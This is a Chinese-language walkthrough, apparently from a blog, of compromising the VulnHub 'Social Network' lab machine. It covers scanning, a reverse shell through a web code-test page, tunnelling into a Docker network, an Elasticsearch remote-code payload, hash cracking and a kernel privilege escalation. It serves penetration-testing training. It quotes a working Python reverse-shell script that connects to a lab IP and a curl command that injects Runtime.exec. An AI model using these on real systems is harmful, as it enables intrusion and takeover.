靶机链接

https://www.vulnhub.com/entry/boredhackerblog-social-network,454/

信息收集阶段

进行主机的发现,由于已知主机跟Kali在同一网段下 ,所以使用 arp-scan 工具扫描

主机发现阶段发现同一网段下有三个资产,第一个大概率是网关,第二个经验证是物理机的地址,猜测第三个地址为靶机地址,接下来要对靶机进行端口的扫描,以发现靶机上跑了什么服务

使用nmap进行端口扫描,第一步是对目标进行端口的发现

发现靶机上开了两个端口,其中一个是22端口(SSH服务),另一个是非常见端口5000。针对SSH服务常见的攻击手法是弱口令、暴破或者利用一些历史版本漏洞进行突破,目前收集的信息尚少。可以对端口进行版本的发现,看看各个端口上跑的是什么服务。

通过版本发现可以得到的信息是:系统为Ubuntu,22端口上跑的是SSH服务,5000端口上跑的是http服务,其中的Werkzeug是一个WSGI的工具包,也可以作为Web框架的底层库,基于Python2来实现。使用searchsploit 寻找关于 Werkzeug 的漏洞,可以找到两三个,均利用不成功。

整理一下目前得到的可用信息:其中SSH可以考虑暴破用户名密码,5000端口上跑了一个网站,可以访问寻找突破口,其中的框架是基于Python来实现的,若有代码执行,可以考虑用Python脚本来执行反弹shell。

通过Web漏洞拿shell

尝试访问目标的5000端口,发现是一个交互网站

网站有输入框,但是信息提示 ”绝对安全“, 突破可能性不大。但还是尝试插入了一下XSS payload

<script>alert('justtry')</script>

发现还是原样输出到页面,证明该输入框不是突破点,通过查看源代码也找不到什么其他信息。

尝试收集更多的信息,在网站下进行目录扫描,看有没有管理后台或者敏感信息泄露,这里使用的是dirsearch工具

发现 有一个 /admin 路径,尝试访问,页面有代码测试功能,可尝试代码执行。考虑到框架是基于Python 实现的,可以找 Python 的 反弹shell 代码。

在CSDN上找到一段现成的可以直接拿来用的代码

import socket,subprocess,os;
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
s.connect(("192.168.43.173",4444));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash","-i"]);

执行前 Kali 应该先监听自身的 4444 端口, 然后执行代码,成功回弹!!!

在这里其实还遇到一个小问题,就是当 shell 是 /bin/bash 的时候,回弹的时候没有回显,于是尝试换成 sh , 回弹就有回显了,我也不知道为什么。

拿下 shell 后 先看看自己的权限, 发现是 root, 就这?

然后去看系统中存在什么文件,发现很不对劲,文件中存在Dockerfile文件,Dockerfile 是 docker 部署的一个模板文件。 初步断定闹了半天拿下的是一个docker 容器的 shell。

可以尝试使用以下两个命令来查证是否docker 容器

ls /.dockerenv
# 根目录下若存在dockerenv, 基本上可断定为docker容器
cat /proc/1/cgroup
# pid为1是初始化进程,若初始化进程中包含了docker映像的信息,可确认为docker容器

确认为 docker 容器后,下一步是如何从 docker容器中 突破出来,最终拿到服务器的 权限。

内网穿透

确认容器地址, 为 172 开头的地址

可以将容器地址看作内网地址,可以在内网中进行主机发现,看看是否还存在其他容器。

最简单进行主机发现的方法是一个个 IP 地址 去 ping, 但手工操作其实很麻烦,尝试用shell脚本完成操作

可以发现 很快就有三个 IP 回包了, 接下来的都没有回包, 初步收集到 内网网段 三个地址。

已知 172.17.0.2 为容器地址,想要用Kali对另外两个地址进行信息收集,必须进行内网穿透,把Kali 到内网的路由 打通, 这里 用到 内网穿透工具 Venom。

首先在 Kali 上运行服务端程序 启动侦听

为了让 目标靶机 能 获取到Venom客户端程序,在 Kali 目录下 开启 http 服务, 然后在目标靶机上使用 wget 来获取

获取客户端程序后,赋予程序可执行权限。用客户端连接远程 Kali 机器

可以看到程序成功执行, 跟服务端的连接也建立起来了。在服务器端,通过 show 命令 可以看到已经有一个节点 连接上来了,可以 goto 到 此节点

并启用一个监听1080 端口的 socks 代理,Kali 的 所有工具 可以通过 proxychains 这个工具 挂上这个代理去访问 容器内网的整个网段

修改proxychains 配置文件,把代理类型改成 socks5, 代理端口 改成 1080

挂载好后,以 proxychains 为前缀,就可以对内网的主机 进行端口扫描了

proxychains nmap -sT -Pn 172.17.0.1
# -Pn 代表不进行主机发现, 直接对目标进行深层次的扫描
# -sT 进行TCP扫描

扫描得出 172.17.0.1 开放的端口 跟 目标靶机 开放的端口一样, 都是22 和 5000浏览器挂代理后对172.17.0.1的5000端口进行访问

继续对服务版本进行探测,发现 跟 目标靶机的 服务版本也完全一模一样。浏览器挂载代理后,访问172.17.0.1的5000端口,发现页面 也跟我们直接访问靶机地址的一模一样,可以确定172.17.0.1就是目标靶机,只不过该地址是靶机面向容器内网的地址。

继续对172.17.0.3 进行端口扫描, 发现开了9200 端口, 对服务进行探测后发现是Elasticsearch

针对服务搜寻漏洞

searchsploit Elasticsearch

发现有RCE可做利用,将漏洞利用代码拷贝到当前目录下,简单看一下脚本的执行例子。

可先尝试一下执行脚本,一般脚本在注释或者报错提示里都有脚本执行的格式,按照格式一步一步来

第一次利用脚本36337.py的时候会报错,原因是elasticsearch服务里面没有数据,所以不能通过elasticsearch来搜索进而执行命令。

解决方法是先插入一条数据,再进行脚本的利用。

proxychains curl -XPOST 'http://172.17.0.3:9200/twitter/user/yren' -d '{ "name" : "Wu" }'
proxychains curl -XPOST 'http://172.17.0.3:9200/_search?pretty' -d '{"script_fields": {"payload": {"script": "java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("whoami").getText()"}}}'

成功拿到第二台容器的shell,查看权限,发现也是 root (没什么卵用)

在目录中发现一个敏感文件 passwords, 有可能是密码文件

查看文件,发现密码做了哈希, 去 somd5 尝试破解

解密完密码后,可尝试使用账号密码去登录目标靶机的SSH

发现 John 用户 可直接登录到 目标靶机的 22 端口, 尝试用 sudo -s 提权,发现 John 并不能直接提升为 root 权限

利用内核漏洞提权

此时需要考虑使用系统内核漏洞去提权

使用 searchsploit 搜索 LInux 3.13 相关的漏洞利用代码, 选用 37292.c 这个 exp,但这个 exp 有个问题。首先目标靶机上是没有装 gcc 的, 也就是说 所有的c语言代码只能在 Kali 机器上进行编译。在查看 EXP 的过程中, 发现有一段代码编译了一个c文件成so文件,再对这个so文件进行调用 —— 意味着就算在 Kali 上对 EXP 进行了编译,放到目标靶机上仍无法执行成功。

解决的思路是:修改EXP 代码, 将编译相关的代码段去掉, 然后直接找到编译好的so文件进行调用。

同样是在 Kali 上启用 http 服务,然后在目标主机上获取到需要的文件

为了执行的方便,在获取到 exp 和 so 文件后,将文件移动到 /tmp 目录去执行

先给 exp 赋予可执行权限 ,然后执行。 在执行的过程中,exp 会去调用 目录下的 so文件进行提权,执行结束后 使用 id 命令查看权限, 已经 拿到了目标 靶机的 root 权限了

思路总结

面对靶机,首先是进行主机发现。

针对发现的主机,要进行端口扫描和端口服务的发现。

若服务中有Web应用,尝试在 Web 应用中找突破点,在该靶机中,我们遇到了一个代码执行,并通过Python脚本成功获得了一个反弹shell,但通过对系统文件的搜寻发现被困在一个容器系统中。

使用 ICMP 对容器系统中的资产进行发现,发现了另外两个地址。

为了使用 Kali 的工具对内网 的容器系统进行渗透,利用Venom工具建立了从Kali 到容器内网的隧道,并在 Kali 上开启了 监听1080端口 的代理。通过proxychains 挂载这个代理在Kali 上访问内网。

发现其中一个资产开启了9200端口,判断为 Elasticsearch 服务,通过对其漏洞的利用拿下第二个docker容器的shell,并在该容器中发现了密码文件。

利用密码文件破译出的账号密码尝试登录目标系统的SSH并成功登录,却发现自己只是一个普通用户。

考虑到内核版本比较老,尝试通过内核漏洞进行提权。

由于EXP中调用了gcc进行C文件的编译,所以把关于编译的代码全部删掉,直接找到编译好的so文件进行直接调用。

最终成功获得目标主机的root权限!!!

耶!

靶场练习1:Medium_Socialnetwork的更多相关文章

  1. CTF丨从零开始搭建WEB Docker靶场

    第十二届全国大学生信息安全竞赛即将开始,小伙伴们有报名参加的吗?大家在比赛前是否开始进行模拟演练了?今天,i春秋将与大家分享靶场搭建的相关内容,帮助大家更好的进行实操演练. 学习搭建Docker靶场之 ...

  2. 第二次靶场练习:cookie注入

    cookie注入 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://120. ...

  3. 第一次靶场练习:SQL注入(1)

    SQL注入1 本文章目的是对相关的黑客内容进一步了解,如有人违反相关的法律法规,本人概不负责 一.学习目的: 利用手工注入网站 利用sqlmab注入 二.附件说明 靶场网址:http://117.41 ...

  4. 文件上传漏洞靶场:upload-labs安装及第一关教程

    注:本文仅供学习使用,请勿用于非法操作,后果与作者无关!!! 一.简介 upload-labs是一个使用php语言编写的,专门收集渗透测试过程中遇到的各种上传漏洞的靶场.旨在帮助大家对上传漏洞有一个全 ...

  5. Jenkins高危代码执行漏洞检测/开源漏洞靶场

    漏洞细节可以参看安全客的文章:https://bbs.ichunqiu.com/thread-22507-1-1.html Jenkins-CLI 反序列化代码执行(CVE-2017-1000353) ...

  6. ethernaut 以太坊靶场学习 (1-12)

    前言 这个靶场搜集了许多不同的 solidity 开发的问题,通过这个可以入门 区块链安全 Fallback 给出了源码 pragma solidity ^0.4.18; import 'zeppel ...

  7. 墨者学院靶场之PHP代码分析溯源(第1题)

    申请靶场环境后 点开题目 一段奇怪的PHP代码 因为我自己电脑重装了win10系统,php+apache+mysql的环境本地主机觉得没必要弄了,于是我们用在线的PHP编码(百度一下到处都是) 复制进 ...

  8. SQLInjection 靶场配置

    对于渗透,太小型的网站没有太大价值,而大型网站(比如各种电商平台)对于代码审计往往非常严格,新手基本找不到漏洞,而一些比较容易搞掉的站点(政府.gov.各种教育网站.edu或者很多商业中型站点)渗透又 ...

  9. 推荐开源靶场Vulhub

    转:https://github.com/phith0n/vulhub Vulhub - Some Docker-Compose files for vulnerabilities environme ...

  10. billu_b0x靶场刷题

    https://www.vulnhub.com/ 里面有很多安全环境,只要下载相关镜像,在虚拟机上面搭建运行就可以练习对应靶场了. 第一步.信息收集 nmap扫描内网开放80端口的存活主机  nmap ...

随机推荐

  1. win32com操作word API精讲 第七集 Range(五)字体格式精讲

    本课程<win32com操作word API精讲&项目实战>视频平台以视频为主,本平台以文字为主,公众号ID:一灯编程 本节课主要讲解使用Range操作Font接口中的字体.字号. ...

  2. Nginx13 openresty使用lua-resty-template

    1 简介 https://github.com/bungle/lua-resty-template 如果学习过JavaEE中的servlet和JSP的话,应该知道JSP模板最终会被翻译成Servlet ...

  3. .Net Core(.Net6)创建grpc

    1.环境要求 .Net6,Visual Studio 2019 以上 官方文档: https://learn.microsoft.com/zh-cn/aspnet/core/tutorials/grp ...

  4. P17_总结

    能够知道如何创建小程序项目 微信开发者工具的使用.appID 的获取 能够清楚小程序项目的基本组成结构 app.js.app.json.app.wxss.pages 文件夹 能够知道小程序页面由几部分 ...

  5. TCP/IP协议(6): DHCP(Dynamic Host Configuration Protocol) 协议 —— 网络地址的分配方式

    TCP/IP协议(6): DHCP(Dynamic Host Configuration Protocol) 协议 -- 网络地址的分配方式 关于 DHCP(DHCP, Dynamic Host Co ...

  6. SPA路由实现的基本原理

    1. SPA路由实现的基本原理 前端单页应用实现路由的策略有两种,分别是 基于hash 和 基于 History API 基于hash 通过将一个 URL path 用 # Hash 符号拆分.- 浏 ...

  7. P4238 【模板】多项式乘法逆

    #include <cstdio> #include <iostream> #define re register using namespace std; typedef l ...

  8. Bus Stop

    题目 题意: 大概就是在x轴上(一维),有n个房子的坐标,你要建立公交车站,使得每个房子离最近的车站不过10公里,求最少的车站. 思路: 很简单,之接贪心即可,每次判断当前房子的后20公里有没有房子, ...

  9. SSM框架学习-AOP学习笔记

    一.AOP入门简介 AOP(Aspect Oriented Programming)面向切面编程,是一种编程范式,可以知道开发者如何组织程序结构 作用:在不惊动原始设计的基础上为其进行功能增强.(无侵 ...

  10. PostGIS之地理坐标

    1. 概述 PostGIS 是PostgreSQL数据库一个空间数据库扩展,它添加了对地理对象的支持,允许在 SQL 中运行空间查询 PostGIS官网:About PostGIS | PostGIS ...